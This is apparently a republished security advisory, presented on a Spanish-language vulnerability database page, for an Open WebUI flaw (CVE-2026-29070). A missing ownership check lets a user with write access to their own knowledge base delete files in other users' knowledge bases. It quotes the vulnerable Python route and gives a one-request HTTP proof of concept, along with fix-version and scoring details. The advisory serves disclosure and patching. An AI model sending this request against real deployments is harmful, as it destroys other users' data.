Open WebUI has unauthorized deletion of knowledge files
Summary
An access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)
Details
The source code at https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base:
@router.post("/{id}/file/remove", response_model=Optional[KnowledgeFilesResponse])
def remove_file_from_knowledge_by_id(
id: str,
form_data: KnowledgeFileIdForm,
delete_file: bool = Query(True),
user=Depends(get_verified_user),
db: Session = Depends(get_session),
):
knowledge = Knowledges.get_knowledge_by_id(id=id, db=db)
[...]
# Note : Access control check on the knowledge base
if (
knowledge.user_id != user.id
and not AccessGrants.has_access(
user_id=user.id,
resource_type="knowledge",
resource_id=knowledge.id,
permission="write",
db=db,
)
and user.role != "admin"
):
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
file = Files.get_file_by_id(form_data.file_id, db=db)
[...]
# Note : No checks on the file
if delete_file:
try:
# Remove the file's collection from vector database
file_collection = f"file-{form_data.file_id}"
if VECTOR_DB_CLIENT.has_collection(collection_name=file_collection):
VECTOR_DB_CLIENT.delete_collection(collection_name=file_collection)
except Exception as e:
log.debug("This was most likely caused by bypassing embedding processing")
log.debug(e)
pass
# Delete file from database
Files.delete_file_by_id(form_data.file_id, db=db)
[...]
PoC
Victim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1) Attacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b) Attacker deletes the victim file from their own collection:
POST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1
Host: gaius-neo-val.fr.space.corp
Authorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0
[...]
{"file_id":"9db6dcee-bb3b-483e-aaf3-310fda366af1"}
-----
HTTP/1.1 200 OK
[...]
The file is then deleted from the victim's knowledge base.
Impact
Arbitrary file deletion
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | open-webui | < 0.8.6 | 0.8.6 |
Referencias
- https://github.com/open-webui/open-webui/security/advisories/GHSA-26gm-93rw-cchf
- https://nvd.nist.gov/vuln/detail/CVE-2026-29070
- https://github.com/open-webui/open-webui
- https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/knowledge.py#L803
- https://pypi.org/project/open-webui
- https://github.com/advisories/GHSA-26gm-93rw-cchf
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L- Debilidad (CWE)
CWE-862- Plataforma
- Python (PyPI)
- Paquete
open-webui- Publicada
- 27.03.2026
- Actualizado
- 11.10.2026 14:18
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-2693 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-26gm-93rw-cchf - CC BY 4.0
Historial de vulnerabilidades: open-webui
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 161
- Primera → última
- 08.2024 09.2026
- Sin corrección
- 11
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 77
- Media 75
- Baja 8
Divulgaciones por año
- 2024: 3
- 2025: 21
- 2026: 137
-
Open WebUI has unauthorized deletion of knowledge files esta entrada
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